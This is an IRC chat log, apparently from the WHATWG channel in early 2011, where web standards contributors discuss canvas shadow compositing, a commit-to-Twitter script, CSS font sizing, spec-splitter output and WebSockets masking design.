[12:44:03.0000] <Philip`>
since bash/Python will end up looking in the default system paths for the files, I think

[12:44:04.0000] <AryehGregor>
I actually agree with him on that.

[12:44:05.0000] <AryehGregor>
Although I wouldn't raise it to an issue or file CPs or anything, since it's not worth the energy.

[12:46:00.0000] <annevk>
Philip`, I renamed them and it seems things still work, except that I cannot use python or python2.5 on the commandline

[12:46:01.0000] <annevk>
Philip`, it searches for them in the wrong place (i.e. my local dir)

[12:46:02.0000] <annevk>
and I cannot find where the settings are :/

[12:47:00.0000] <Philip`>
Hmm

[12:47:01.0000] <Philip`>
It should search the whole PATH for them, I thought

[12:47:02.0000] <annevk>
I get -bash: /home/annevk/opt/bin/python: No such file or directory

[12:48:00.0000] <annevk>
whereas on the site things still work as they look at /usr/bin/python

[12:48:01.0000] <Philip`>
What does "echo $PATH" say?

[12:49:00.0000] <AryehGregor>
annevk, try doing PATH=$PATH

[12:49:01.0000] <AryehGregor>
It caches the results of $PATH lookups.

[12:49:02.0000] <AryehGregor>
Or just start a new shell.

[12:49:03.0000] <AryehGregor>
If you change PATH (even to the same thing), it gets rid of the cache.

[12:50:00.0000] <annevk>
ah, starting a new shell helps

[12:50:01.0000] <annevk>
great great

[12:52:00.0000] <annevk>
should I use http://wiki.dreamhost.com/Python#Virtualenv ?

[12:56:00.0000] <cszabo1>
Philip`, Did you see my test proposal?

[12:56:01.0000] <cszabo1>
Does it look ok to you?

[13:04:00.0000] <Philip`>
cszabo1: Tests should be designed so that if they pass then no red is visible (and preferably if they fail then some red is visible) (and preferably if they pass then they're entirely green)

[13:06:00.0000] <Philip`>
Maybe that's not incredibly useful when we have JS to verify the correctness of the output, rather than verifying it by eye, but it's the convention so it's probably good to stick with it

[13:08:00.0000] <Philip`>
Probably we ought to have tests to make sure it does the right thing with semi-transparent globalAlpha, and with other compositing modes

[13:08:01.0000] <Philip`>
Do you know if Firefox does what you proposed in those cases?

[13:10:00.0000] <cszabo1>
Philip`: Actually not, I have to fix my test. there should be no green.

[13:11:00.0000] <cszabo1>
Philip`: I was away from my desk to run the test on Opera (I do not have opera on my computer). Opera sticks to the curent wording of the spec and erases the shadow.

[13:16:00.0000] <Hixie>
cszabo1: if i understand right, the proposal is to change the shadow steps 3 and 4 with your step 3? the last two steps don't change?

[13:17:00.0000] <Hixie>
seems reasonable, if so

[13:17:01.0000] <cszabo1>
Philip`: I fixed my test. Now everybody fails it, because all browsers act different, but I believe that the test now requires a logical output: If I draw a rectangle with a shadow composited with copy, all I am getting is a rectangle with a shadow. Opera eats the shadow (per the spec) Mozilla now leave part of the older image.

[13:17:02.0000] <Hixie>
assuming Philip` agrees

[13:18:00.0000] <cszabo1>
Hixie, yes

[13:19:00.0000] <Philip`>
/me hasn't thought enough about the proposal to be sure it doesn't have problems in various cases

[13:19:01.0000] <cszabo1>
The idea is that if a composite operator is used, that would clear the image where nothing is drawn, the last step clears the shadow of the object, which is not good.

[13:20:00.0000] <cszabo1>
Also, if a composite operator is used that does not draw where there is prior content (i.e. out and xor), the shadow prevents the object from being drawn.

[13:22:00.0000] <cszabo1>
Hixie, Philip`, My proposal is to draw the object and it's shadow as one piece such that these efects are aplied between the prior content of the canvas and the new object being drawn.

[13:32:00.0000] <hsivonen>
Python standard lib relocating md5 is programmer hostile. leads to pointless warnings or effort to update references to a non-deprecated lib

[13:38:00.0000] <annevk>
http://twitter.com/WHATWG/status/23494775223091201

[13:39:00.0000] <annevk>
got the fricking OAuth to work

[13:39:01.0000] <matjas>
oh god please let it be

[13:39:02.0000] <matjas>
annevk++

[13:40:00.0000] <annevk>
I wonder what happens for messages larger than 140 characters

[13:40:01.0000] <annevk>
especially when there's a URL in them

[13:43:00.0000] <annevk>
that simply fails

[13:46:00.0000] <annevk>
anyone object against this:

[13:47:00.0000] <Hixie>
annevk: btw, the message part can include newlines

[13:47:01.0000] <annevk>
str = shorturl + " — " + message

[13:47:02.0000] <annevk>
str[:140]

[13:47:03.0000] <Hixie>
also, what i used to do is filter out any commits that has the 'e' flag set

[13:47:04.0000] <Hixie>
and the bug and flags likely don't need to be in there

[13:47:05.0000] <Hixie>
that looks good

[13:48:00.0000] <annevk>
can you filter e on your end?

[13:48:01.0000] <annevk>
i.e. not ping for e

[13:48:02.0000] <annevk>
otherwise I can build that in

[13:48:03.0000] <Hixie>
i can, but it's probably easiest for you to do it on your side, that way you can add features that use that info later if you do anything unrelated to twitter

[13:49:00.0000] <Hixie>
e.g. you can hook this up to web-apps-tracker to get it to update when svn changes rather that on a cronjob

[13:49:01.0000] <Hixie>
(just an idea, not saying you should do that)

[13:49:02.0000] <Hixie>
(i'm a firm believer in not fixing what ain't broken ;-) )

[13:49:03.0000] <annevk>
web-apps-tracker is currently live

[13:49:04.0000] <annevk>
there's no cronjob

[13:49:05.0000] <Hixie>
ah well there you go

[13:50:00.0000] <Hixie>
it could be static :-)

[13:50:01.0000] <Hixie>
if necessary

[13:50:02.0000] <Hixie>
in the future

[13:50:03.0000] <annevk>
yeah, might be neat at some point

[13:50:04.0000] <annevk>
so can I get it like ?rev=3000&message=message&flags=flags ?

[13:50:05.0000] <Hixie>
sure

[13:50:06.0000] <Hixie>
and &level=level

[13:51:00.0000] <Hixie>
and &bug=bug

[13:51:01.0000] <Hixie>
if you like

[13:51:02.0000] <Hixie>
that's all the info i have iirc

[13:51:03.0000] <Hixie>
note that rev is sometimes missing

[13:51:04.0000] <Hixie>
as is bug

[13:51:05.0000] <annevk>
why would rev be missing?

[13:51:06.0000] <Hixie>
sometimes all i do is update the w3c copy

[13:51:07.0000] <Hixie>
and it doesn't affect the whatwg svn

[13:51:08.0000] <Hixie>
so there's no svn rev

[13:52:00.0000] <annevk>
okay, in those cases no tweet will go out

[13:52:01.0000] <Hixie>
seems reasonable

[13:52:02.0000] <Hixie>
people can follow mike's twitter for those if they want

[13:52:03.0000] <annevk>
i'll write some cgi code and then get the URL to you

[13:53:00.0000] <Hixie>
wtf i just lost my ipv4 address

[13:53:01.0000] <Hixie>
k

[13:53:02.0000] <Hixie>
GET or POST?

[13:53:03.0000] <annevk>
POST would prolly be better

[13:53:04.0000] <annevk>
not sure it makes a difference to Python

[13:55:00.0000] <Hixie>
k

[14:09:00.0000] <annevk>
I tried via GET and that certainly works

[14:10:00.0000] <annevk>
I also gave you the details

[14:12:00.0000] <Hixie>
thanks

[14:12:01.0000] <annevk>
Programming today is screaming at APIs and getting result a few hours later

[14:12:02.0000] <Hixie>
will add shortly

[14:20:00.0000] <annevk>
suitable location/bio for @WHATWG?

[14:20:01.0000] <Hixie>
http://www.whatwg.org/ ?

[14:20:02.0000] <Hixie>
or the faq

[14:20:03.0000] <Ms2ger>
Everywhere/There is no cabal

[14:20:04.0000] <Hixie>
or the blog

[14:20:05.0000] <Hixie>
oh you mean a string?

[14:20:06.0000] <annevk>
link is a separate one

[14:20:07.0000] <Hixie>
"Please leave your sense of logic at the door, thanks!"

[14:21:00.0000] <annevk>
that and Everywhere! great

[14:21:01.0000] <Hixie>
or The Web :-)

[14:21:02.0000] <Hixie>
(as a location)

[14:21:03.0000] <annevk>
:)

[14:22:00.0000] <annevk>
you win

[14:22:01.0000] <Hixie>
:-)

[14:25:00.0000] <Hixie>
ok here goes, i'm doing my first commit since hooking up the spec to your script

[14:26:00.0000] <Hixie>
it didn't tweet!

[14:26:01.0000] <annevk>
I guess you don't have the request?

[14:27:00.0000] <Hixie>
how do you mean?

[14:27:01.0000] <Hixie>
i can reconstruct it

[14:27:02.0000] <Hixie>
is it not in your logs?

[14:27:03.0000] <matjas>
annevk: you are my hero.

[14:28:00.0000] <annevk>
it's not working matjas :)

[14:28:01.0000] <Hixie>
oh i see the problem

[14:28:02.0000] <Hixie>
i misused the API

[14:28:03.0000] <matjas>
oh, i saw https://twitter.com/whatwg/status/23502541589319680 and started cheering

[14:29:00.0000] <Hixie>
hey can i just send a POST instead?

[14:29:01.0000] <Hixie>
that would make my life slightly easier

[14:29:02.0000] <annevk>
yes either POST or GET should work

[14:29:03.0000] <Hixie>
k

[14:29:04.0000] <annevk>
as long as parameters named rev/message/flags are there

[14:29:05.0000] <Hixie>
yeah

[14:29:06.0000] <Hixie>
ok hold on let me find something else to fix

[14:29:07.0000] <annevk>
if either rev is empty or flags contains an "e" nothing happens

[14:30:00.0000] <annevk>
and I'm hoping Python and the API do not disagree on how to count to 140 but I suspect there may be problems if lots of non-ASCII characters start getting involved

[14:31:00.0000] <annevk>
takes a long time for twitter to propagate profile updates to http://twitter.com/WHATWG

[14:31:01.0000] <annevk>
as in, it has not happened yet

[14:38:00.0000] <Hixie>
annevk: has for me

[14:38:01.0000] <annevk>
ah, yeah, good

[14:38:02.0000] <annevk>
now all we need is updates

[14:38:03.0000] <Hixie>
working on that

[14:38:04.0000] <Hixie>
5 secs

[14:39:00.0000] <Hixie>
regenning as we speak

[14:40:00.0000] <Hixie>
it works!

[14:40:01.0000] <matjas>
/me sits back with a big bucket of pop corn

[14:40:02.0000] <matjas>
EUREKA

[14:40:03.0000] <annevk>
whoa

[14:40:04.0000] <matjas>
http://twitter.com/WHATWG/status/23510192872230912

[14:40:05.0000] <matjas>
eff yes

[14:40:06.0000] <annevk>
including the larger than 140 characters

[14:40:07.0000] <matjas>
via WebAppsTweet :')

[14:40:08.0000] <annevk>
and my &hellip; character i replaced the last one with

[14:40:09.0000] <Hixie>
well, i guess we have one happy customer :-D

[14:41:00.0000] <matjas>
/me cries tears of joy

[14:42:00.0000] <Hixie>
one _very_ happy customer

[14:42:01.0000] <Hixie>
thanks annevk :-)

[14:43:00.0000] <annevk>
added http://twitter.com/WHATWG/status/23510988938543105 :)

[14:43:01.0000] <Hixie>
lol you can't thank yourself :-P

[14:44:00.0000] <annevk>
it's not me, it's the WHATWG

[14:44:01.0000] <Hixie>
:-P

[14:45:00.0000] <matjas>
perfect use case for the shiny new short URLs

[14:46:00.0000] <Hixie>
is there any practical difference between font-size: inherit and font-size: 1em?

[14:46:01.0000] <Hixie>
it inherits the computed value right?

[14:46:02.0000] <Hixie>
so it's always a length?

[14:46:03.0000] <Hixie>
it won't inherit 'smaller' or anything silly like that?

[14:47:00.0000] <annevk>
right

[14:47:01.0000] <annevk>
http://www.w3.org/TR/CSS2/fonts.html#font-size-props

[14:47:02.0000] <Hixie>
i wonder why http://www.w3.org/Bugs/Public/show_bug.cgi?id=11020 then

[14:47:03.0000] <annevk>
though maybe quirks with tables/form controls?

[14:48:00.0000] <annevk>
I think browsers do something weird with monospace fonts

[14:48:01.0000] <annevk>
in Opera they look generally quite big whereas in other browsers they are quite tiny

[14:48:02.0000] <annevk>
comes up every now and then

[14:48:03.0000] <Hixie>
yeah i always change the defaults in my browsers to 16px for both

[14:48:04.0000] <Hixie>
drives me crazy that browsers still ship with the default set to 13px

[14:48:05.0000] <Hixie>
looks so ugly and wrong

[14:49:00.0000] <Ms2ger>
The solution for that is font-family: monospace, sans-serif

[14:49:01.0000] <annevk>
but 1em still means 13px?!

[14:50:00.0000] <Hixie>
yeah i dunno

[14:50:01.0000] <annevk>
there is a difference once you set it to 16px

[14:50:02.0000] <Hixie>
~/me pimps http://hixie.ch/specs/css/font-size-ui/font-size-ui

[14:50:03.0000] <Hixie>
er

[14:50:04.0000] <Hixie>
-~

[14:50:05.0000] <annevk>
this is really weird

[14:51:00.0000] <Ms2ger>
It is

[14:51:01.0000] <annevk>
there's a difference between * { font-size:1em } and * { font-size:16px } basically, in Gecko

[14:52:00.0000] <Ms2ger>
http://meyerweb.com/eric/thoughts/2010/02/12/fixed-monospace-sizing/

[14:55:00.0000] <annevk>
but he's wrong

[14:56:00.0000] <annevk>
well, I think he's right in what happens, but there's no justification coming from "medium"

[14:57:00.0000] <annevk>
because as Hixie just said, the computed value is absolute

[14:57:01.0000] <Hixie>
'medium' is absolute

[14:57:02.0000] <annevk>
oh really?

[14:58:00.0000] <Hixie>
however, while i could believe that browsers compare the font size to the 'medium' pref size, there's no direct evidence that they do that, only cirucmstancial

[14:58:01.0000] <Hixie>
i'd be interested in finding out what they actually do

[14:58:02.0000] <annevk>
CSS 2.1 says "Computed value: absolute length"

[14:58:03.0000] <annevk>
medium is an absolute-size, but not a length

[14:58:04.0000] <Hixie>
i'd be even more interested in just having all the browsers default to 16px for both serif and monospace and not let anyone change it (outside of setting a default zoom)


2011-01-08
[17:17:00.0000] <benschwarz>
Whatup #WHATWG

[17:21:00.0000] <charlvn>
hi benschwarz

[17:25:00.0000] <paul_irish>
benschwarz: you see my w3schools doc?

[18:09:00.0000] <benschwarz>
paul_irish: I saw some mention of it on twitter

[18:09:01.0000] <benschwarz>
whats the score?

[18:09:02.0000] <paul_irish>
 http://goo.gl/a8Bke it's gotten pretty big. basically a few pages of criticism of w3schools  http://goo.gl/a8Bke

[18:09:03.0000] <paul_irish>
whoops

[18:12:00.0000] <benschwarz>
paul_irish: It'd be important to push the whole thing through sites like smashing mag, and ajaxian

[18:12:01.0000] <benschwarz>
importantly, smashing mag, and other bullshit sites

[18:12:02.0000] <paul_irish>
i will!

[18:12:03.0000] <paul_irish>
w3fools will debut at the end of next week.

[18:12:04.0000] <paul_irish>
splash hard.

[18:18:00.0000] <Philip`>
The current state of that document seems pretty incoherent and full of people overreacting

[18:21:00.0000] <bga_>
wow live edit

[18:28:00.0000] <benschwarz>
Hixie: !Ping

[18:29:00.0000] <benschwarz>
paul_irish: !ping

[18:43:00.0000] <benschwarz>
Philip`: Is the spec_splitter.py your work?

[18:43:01.0000] <benschwarz>
I'd like to highlight this issue that I'm seeing for developers.whatwg.org - https://github.com/benschwarz/developers.whatwg.org/issues/issue/4

[21:45:00.0000] <MikeSmith>
http://starkravingfinkle.org/blog/2011/01/firefox-mobile-and-window-console-support/

[21:45:01.0000] <MikeSmith>
"Desktop Firefox added native support for a subset of the window.console API"

[21:45:02.0000] <MikeSmith>
pretty cool

[01:57:00.0000] <MikeSmith>
so Firefox Mobile actually provides access to an error console?

[01:57:01.0000] <MikeSmith>
http://starkravingfinkle.org/blog/2011/01/firefox-mobile-and-window-console-support/

[01:58:00.0000] <MikeSmith>
about newly added window.console support

[01:58:01.0000] <MikeSmith>
"Last night we turned on basic support in Firefox Mobile too. It’s basic in the sense that the window.console is merely forwarded to the Error Console."

[03:24:00.0000] <Philip`>
benschwarz: It is

[03:25:00.0000] <Philip`>
benschwarz: I guess the original document structure isn't quite what it expects when it's extracting elements

[03:25:01.0000] <Philip`>
(It's not designed to be particularly general-purpose or robust, since usually it's easier just to tweak the source code when the document structure changes)

[03:25:02.0000] <annevk>
http://www.youtube.com/watch?v=YVmtsErHBbs - "the ayes have it"

[03:25:03.0000] <annevk>
American politics...

[03:26:00.0000] <benschwarz>
Philip`: so if I make some fixes, should I send them upstream?

[03:26:01.0000] <benschwarz>
Or should I expect these things to get fixed magically?

[03:27:00.0000] <annevk>
lol, only Leif could get my <dl> comparison so backwards

[03:28:00.0000] <annevk>
I have a copy of spec-splitter somewhere too btw

[03:28:01.0000] <annevk>
a modified one

[03:29:00.0000] <annevk>
to generate whatwg.org/C

[03:29:01.0000] <annevk>
benschwarz, would be nicer if developers.whatwg.org was based on whatwg.org/C I think

[03:32:00.0000] <Philip`>
benschwarz: If the fixes don't break the non-developer multipage version, I can commit the changes to html5.googlecode.com

[03:32:01.0000] <Ms2ger>
annevk, apparently non-HTML5 parts of complete.html don't have .impl

[03:33:00.0000] <MikeSmith>
yeah

[03:34:00.0000] <MikeSmith>
Hixie said they don't have the domintro stuff yet either

[03:34:01.0000] <Ms2ger>
And that

[03:37:00.0000] <MikeSmith>
so I implemented checking of event-handler attributes

[03:37:01.0000] <MikeSmith>
not checked in yet

[03:37:02.0000] <MikeSmith>
pending review

[03:38:00.0000] <MikeSmith>
but at http://www.w3.org/html/check for testing

[03:38:01.0000] <MikeSmith>
but which I mean this part of the spec:

[03:38:02.0000] <MikeSmith>
http://www.whatwg.org/specs/web-apps/current-work/multipage/webappapis.html#event-handler-content-attributes

[03:38:03.0000] <MikeSmith>
"Event handler content attributes, when specified, must contain valid JavaScript code matching the FunctionBody production. [ECMA262]"

[03:40:00.0000] <Ms2ger>
Nice

[03:41:00.0000] <MikeSmith>
one downside is that that if somebody drops a whole lot of javascript into the value of an event attribute, the error message is not going to be too helpful to that at pinpointing where the error is

[03:42:00.0000] <MikeSmith>
because it will not show the exact column number for the place in the attribute value where any actual syntax error is

[03:43:00.0000] <MikeSmith>
but I guess it's not really a best practice to put huge amounts of code into values of event-handler attributes to begin with

[03:43:01.0000] <MikeSmith>
nor maybe even to use event-handler attributes to begin with

[03:44:00.0000] <MikeSmith>
is there some benefit to using event-handler attributes rather than just adding listeners within the js code itself?

[03:45:00.0000] <MikeSmith>
cases where it's preferable/easier to do it that way for some reason?

[03:54:00.0000] <Ms2ger>
It's almost always easier, no?

[03:59:00.0000] <MikeSmith>
Ms2ger: I guess

[04:00:00.0000] <MikeSmith>
though seems like it would not easier in terms of maintenance

[04:01:00.0000] <Ms2ger>
Yes, but since when have web authors cared about that

[04:08:00.0000] <MikeSmith>
Ms2ger: yeah, true

[08:11:00.0000] <hsivonen>
Does Opera have an @-rule for site-specific stuff in user style sheets

[08:14:00.0000] <bga_>
opera has right click site preferenes view my style

[08:17:00.0000] <hsivonen>
bga_: thanks

[08:20:00.0000] <hsivonen>
/me wonders how many people have used time to figure out how to make the xkcd title attribute render withou mouseover

[08:21:00.0000] <hsivonen>
(also, kinda sad that Firefox is less suitable for reading Web comics than Opera due to the lack of Fast Forward)

[08:24:00.0000] <Ms2ger>
You mean like on http://damowmow.com/portal/?

[08:27:00.0000] <hsivonen>
Ms2ger: yeah, that's a solution to the problem if you read the Damowmow portal daily

[09:43:00.0000] <dglazkov>
Hixie: yo

[09:43:01.0000] <dglazkov>
or annevk

[09:43:02.0000] <dglazkov>
have a brain puzzler for you

[09:43:03.0000] <dglazkov>
it's about orientation

[09:45:00.0000] <dglazkov>
in WebKit, we have this -webkit-appearance property, which basically allows reaching into OS-specific representations of UI elements

[09:46:00.0000] <dglazkov>
for example, #foo { -webkit-appearance: slider-thumb-horizontal } will make <div id="foo"></div> render as the native OS slider thumb

[09:46:01.0000] <dglazkov>
(now I'll wait for you to ping back :)

[10:21:00.0000] <annevk>
dglazkov, don't know too much about it

[10:21:01.0000] <annevk>
dglazkov, except that I would like to  see it standardized

[10:22:00.0000] <dglazkov>
annevk: me too! :) There's an interesting orientation problem here. I think I'll write an email instead of irc.

[10:22:01.0000] <dglazkov>
the problem today is that -webkit-appearance _dictates_ orientation

[10:22:02.0000] <dglazkov>
slider-thumb-horizontal will _always_ show horizontal thumb, and slider-thumb-vertical will _always_ show a vertical

[10:23:00.0000] <dglazkov>
which is wrong, because now I can't cascade orientation

[10:23:01.0000] <dglazkov>
but I should

[10:23:02.0000] <dglazkov>
be able

[10:23:03.0000] <dglazkov>
to

[10:23:04.0000] <dglazkov>
I will write email

[10:24:00.0000] <annevk>
cool

[10:38:00.0000] <bga_>
http://funkyimg.com/u2/826/670/vim8.png


2011-01-09
[16:55:00.0000] <benschwarz>
Philip`: So the regular editions of the spec all receive a body element from your spec splitter?

[16:55:01.0000] <benschwarz>
and a closing html tag?

[16:59:00.0000] <Philip`>
benschwarz: Hmm... No

[16:59:01.0000] <Philip`>
Looks like I run it with the --html5lib-serialiser option (but no others)

[16:59:02.0000] <Philip`>
and the html5lib serialiser seems to omit optional tags by default

[17:00:00.0000] <benschwarz>
Philip`: They're the options that MikeSmith setup for me too

[17:00:01.0000] <Philip`>
The <html> and <body> aren't optional in e.g. http://www.whatwg.org/specs/web-apps/current-work/multipage/introduction.html because they have attributes

[17:00:02.0000] <Philip`>
but </body> and </html> are always optional

[17:01:00.0000] <Philip`>
(and <body> with no attributes is optional, which is probably the case in your version of the spec)

[17:01:01.0000] <benschwarz>
Philip`: https://github.com/benschwarz/developers.whatwg.org/blob/master/Makefile

[17:02:00.0000] <benschwarz>
yeah, I have no <body>

[17:02:01.0000] <benschwarz>
all of which makes styling and modying after harder than it should be

[17:03:00.0000] <Philip`>
Styling via CSS selectors? There's still a body element in the DOM so you can style it exactly as if there was an explicit <body> written there

[17:04:00.0000] <Philip`>
although actually it probably breaks in some browsers because the first element is <header> which isn't always recognised as an element that triggers the implicit body

[17:05:00.0000] <Philip`>
You could add omit_optional_tags=False into the html5lib.serializer.HTMLSerializer(...) line in spec-splitter.py to make all open/close tags explicit

[17:58:00.0000] <benschwarz>
Philip`: *some* browsers add a body of its own

[17:58:01.0000] <benschwarz>
but mobile safari, for example, does not.

[17:59:00.0000] <benschwarz>
its foolish to rely on the consistent nature of browsers from different vendors

[18:00:00.0000] <benschwarz>
Either way, I really want to get those tags in there because it makes my job easier :)

[18:01:00.0000] <benschwarz>
Philip`: any reasons we're not using utf-8 encoding?

[18:02:00.0000] <benschwarz>
Philip`: hmm. now everything is within the head: view-source:http://developers.whatwg.org/

[18:02:01.0000] <benschwarz>
:/

[18:06:00.0000] <benschwarz>
ah. even wierder, there are two heads

[18:49:00.0000] <MikeSmith>
benschwarz: what different behavior do you see in mobile safari?

[18:49:01.0000] <MikeSmith>
benschwarz: btw, you know about Live DOM Viewer?

[18:49:02.0000] <MikeSmith>
http://software.hixie.ch/utilities/js/live-dom-viewer/

[18:50:00.0000] <MikeSmith>
you can use that page in any browser to see the actual DOM that the browser constructs for any given document or markup fragment

[18:53:00.0000] <MikeSmith>
about the encoding, the reason I was running the splitter with the encoding set to ascii was that I had problems with characters getting borked by anolis or some other part of the toolchain in my processing setup

[18:54:00.0000] <MikeSmith>
you should switch it to utf-8 and if you don't see any problems just keep it that way

[19:00:00.0000] <MikeSmith>
benschwarz: I think any difference you see in mobile safari or other browsers is due to what Philip` mentioned

[19:01:00.0000] <MikeSmith>
that is, their html parsers don't know about the header element

[19:02:00.0000] <MikeSmith>
they don't know that <header> implies a <body> start tag

[19:02:01.0000] <MikeSmith>
so another way to solve that is not use <header>

[19:02:02.0000] <MikeSmith>
but instead use <div class=header> or something

[19:07:00.0000] <MikeSmith>
or maybe consider using the --w3c option

[19:08:00.0000] <MikeSmith>
which will do that for you I think

[19:10:00.0000] <MikeSmith>
hmm

[19:10:01.0000] <MikeSmith>
or maybe not

[19:10:02.0000] <MikeSmith>
maybe you need to do it with anolis

[19:12:00.0000] <MikeSmith>
hmm

[19:13:00.0000] <MikeSmith>
but I find no header element in the source nor any part of anolis or the splitter that generates one

[19:13:01.0000] <MikeSmith>
so I guess that means you are putting it in with your code

[19:14:00.0000] <MikeSmith>
in which case, it's even easier for you to fix :)

[19:34:00.0000] <eboyjr>
Will <div href="foo.html> be supported? I heard it was and I like the idea

[19:35:00.0000] <eboyjr>
with a quote after foo.html of course

[20:06:00.0000] <llrcombs>
^^ seconded

[20:07:00.0000] <llrcombs>
it'd make <a> around <div> unneccesary

[20:07:01.0000] <llrcombs>
how about <anyBlockOrInlineElement href="anyUrl">?

[20:09:00.0000] <llrcombs>
I've always thought that most block and inline elements should be more or less the same at base, with some elements having added UI (<select>, <input>, etc.), attributes (<form action="blah">), or styling (<a> has the blue color and underline; <div> has display: block;, <span> has display: inline;)

[20:10:00.0000] <bga_>
chrome10 still buggy with playing many sounds parralelly

[20:10:01.0000] <bga_>
:(

[20:12:00.0000] <bga_>
or laggy

[20:13:00.0000] <Hixie>
eboyjr, llrcombs: http://wiki.whatwg.org/wiki/FAQ#HTML5_should_support_href_on_any_element.21

[20:14:00.0000] <llrcombs>
true enough

[20:36:00.0000] <benschwarz>
Hixie: hi :)

[20:36:01.0000] <benschwarz>
I missed MikeSmith, damn

[20:39:00.0000] <Hixie>
benschwarz: hey

[20:39:01.0000] <benschwarz>
Hixie: I'm trying to ensure that we have a body element in the spec after it is split…

[20:39:02.0000] <Hixie>
compat with legacy UAs?

[20:42:00.0000] <benschwarz>
Hixie: I was seeing some strangeness with styling the body under iOS

[20:42:01.0000] <benschwarz>
I think Philip` has sorted me out with options for html5lib though :)

[20:43:00.0000] <Hixie>
k

[20:43:01.0000] <Hixie>
we can also change <header> to <div> for now

[20:43:02.0000] <Hixie>
there's no rush to use the new elements

[20:44:00.0000] <Hixie>
for the spec i am basically targetting ua vendors so making it use the latest stuff is fine, since they're likely using cutting edge UAs

[21:08:00.0000] <eboyjr>
About the href attribute thing, it says, "It adds no new functionality that can’t already be achieved using the a element and a little script.". Well what if javascript is turned off?

[21:09:00.0000] <eboyjr>
Browser vendors report that implementing it would be extremely complex, but you can work around it with a simple script.. hrm

[21:11:00.0000] <Hixie>
there's a lot of things like that

[21:13:00.0000] <eboyjr>
Heh HTML5 should group <dt>s and <dd>s together in <di>s!.. I just use <div>s hehe shhh

[21:25:00.0000] <benschwarz>
Hixie: I'm happy to use newer elements

[21:25:01.0000] <Hixie>
k

[21:27:00.0000] <benschwarz>
Hixie: unless we're having trouble styling them (which we're not, currently)

[07:07:00.0000] <AryehGregor>
Hixie, you never told me what the beforeundo/beforeredo events are supposed to me.  I didn't find any info on them in a quick search.

[11:05:00.0000] <AryehGregor>
How best to write "If the length of input is congruent to 1 mod 4"?  I've currently got "If the length of input minus one is divisible by 4".

[11:05:01.0000] <AryehGregor>
I'm thinking a lot of authors won't be so comfortable with modular arithmetic.

[11:08:00.0000] <Philip`>
"Let /length/ be the length of the input. If /length/ % 4 == 1 ..."

[11:08:01.0000] <Philip`>
then assume readers understand JS

[11:10:00.0000] <Ms2ger>
If <var>length</var>&minus;1 is divisible by 4

[11:10:01.0000] <Philip`>
Use MathML

[11:11:00.0000] <gsnedders>
Ms2ger: Any number is divisible by four.

[11:11:01.0000] <AryehGregor>
Is there some specific place for DOM Range tests?

[11:12:00.0000] <Ms2ger>
Put them up somewhere and tell me :)

[11:19:00.0000] <AryehGregor>
Now I'm confused by this: http://www.w3.org/Bugs/Public/show_bug.cgi?id=10624

[11:19:01.0000] <AryehGregor>
Where are these attributes actually defined right now?

[11:21:00.0000] <AryehGregor>
Aha, now I see.

[11:21:01.0000] <AryehGregor>
Or not.

[11:24:00.0000] <AryehGregor>
Okay, I think I've got it now.

[11:25:00.0000] <Ms2ger>
http://html5.org/specs/dom-range.html

[11:30:00.0000] <AryehGregor>
Thanks.

[11:43:00.0000] <Hixie>
AryehGregor: yeah, i did some searches and came up empty. Not sure where I came up with those.

[11:43:01.0000] <AryehGregor>
Okay.

[11:55:00.0000] <abarth|socket>
othermaciej: you around?

[11:55:01.0000] <othermaciej>
abarth|socket: sorta

[11:55:02.0000] <othermaciej>
what's up?

[11:55:03.0000] <abarth>
i'm going to write up a draft of the websockets spec

[11:56:00.0000] <othermaciej>
interesting

[11:56:01.0000] <abarth>
can you give a quick brain dump of what you think the best design point is w.r.t. the state of the working group?

[11:56:02.0000] <abarth>
straw point pointed to upgrade+masking

[11:56:03.0000] <abarth>
your experiments point to AES-CTR

[11:57:00.0000] <abarth>
some folks seem concerned about export control

[11:57:01.0000] <abarth>
but that doesn't seem like a real issue

[11:57:02.0000] <othermaciej>
I am not sure of the details of how to do AES-CTR but still have a per-frame nonce

[11:57:03.0000] <othermaciej>
I don't think export control is a real issue

[11:57:04.0000] <othermaciej>
it's possible I am wrong

[11:57:05.0000] <abarth>
oh, that's easy, you just choose a nonce

[11:57:06.0000] <abarth>
and use that as the counter value

[11:57:07.0000] <abarth>
like choosing a new IV

[11:58:00.0000] <othermaciej>
let me break it down another way, and list what I think are the open questions where no consensus has been declared:

[11:58:01.0000] <abarth>
ok

[11:58:02.0000] <othermaciej>
- should masking cover the whole frame, or only the payload, or only payload plus extension data?

[11:58:03.0000] <othermaciej>
- should masking be built-in and default, or expressed as a mandatory extension?

[11:59:00.0000] <othermaciej>
- should the mask incorporate some fixed entropy from the client and server in addition to the per-frame values?

[11:59:01.0000] <othermaciej>
- should masking be a simple XOR, or should HMAC be used to generate a mask, or should we use AES-CTR?

[12:00:00.0000] <othermaciej>
- should a fake CONNECT be sent after the initial GET+Upgrade (and presumably after receiving the upgrade response)?

[12:00:01.0000] <benschwarz>
Hixie: !ping

[12:01:00.0000] <othermaciej>
I'm not sure if anyone at this point is arguing to still use HELLO frames combined with masking

[12:01:01.0000] <abarth>
ok, my thoughts are:

[12:01:02.0000] <abarth>
1) whole frame

[12:01:03.0000] <abarth>
2) build-in and default

[12:01:04.0000] <abarth>
3) use client and server entropy in the key, but not each per-frame nonce

[12:02:00.0000] <abarth>
4) AES-CRT

[12:02:01.0000] <abarth>
5) No fake CONNECT

[12:02:02.0000] <Hixie>
benschwarz: yo

[12:02:03.0000] <benschwarz>
any way that we can mark the implementation seperatly?

[12:03:00.0000] <Hixie>
how do you mean?

[12:03:01.0000] <othermaciej>
abarth: sounds like a sensible set of choices to me

[12:04:00.0000] <abarth>
my basic thoughts are that we've delayed long enough

[12:04:01.0000] <abarth>
and we should pick something reasonable and declare victory

[12:04:02.0000] <Hixie>
we'd delayed long enough 6 months ago

[12:04:03.0000] <Hixie>
good luck

[12:04:04.0000] <abarth>
Hixie: thanks

[12:08:00.0000] <benschwarz>
Hixie: mark it was implementation for real, then I can hide it?

[12:08:01.0000] <Hixie>
benschwarz: sorry i really have no idea what you're referring to

[12:08:02.0000] <Hixie>
benschwarz: can you give me a bit more context?

[12:08:03.0000] <benschwarz>
Hixie: sorry, our email

[12:09:00.0000] <Hixie>
oh the reflection things?

[12:09:01.0000] <benschwarz>
yeah

[12:09:02.0000] <Hixie>
the problem is that there's nothing other than the implementation stuff for the reflected attributes

[12:09:03.0000] <Hixie>
at the moment

[12:09:04.0000] <Hixie>
there's the line in the idl, then some line in the prose that says "the foo idl attribute must reflect the foo content attribute", and that's it

[12:10:00.0000] <Hixie>
(where "reflect" is defined in an earlier section in lots of detail)

[12:13:00.0000] <benschwarz>
Hixie: which would also be okay to not show on the developers edition

[12:13:01.0000] <benschwarz>
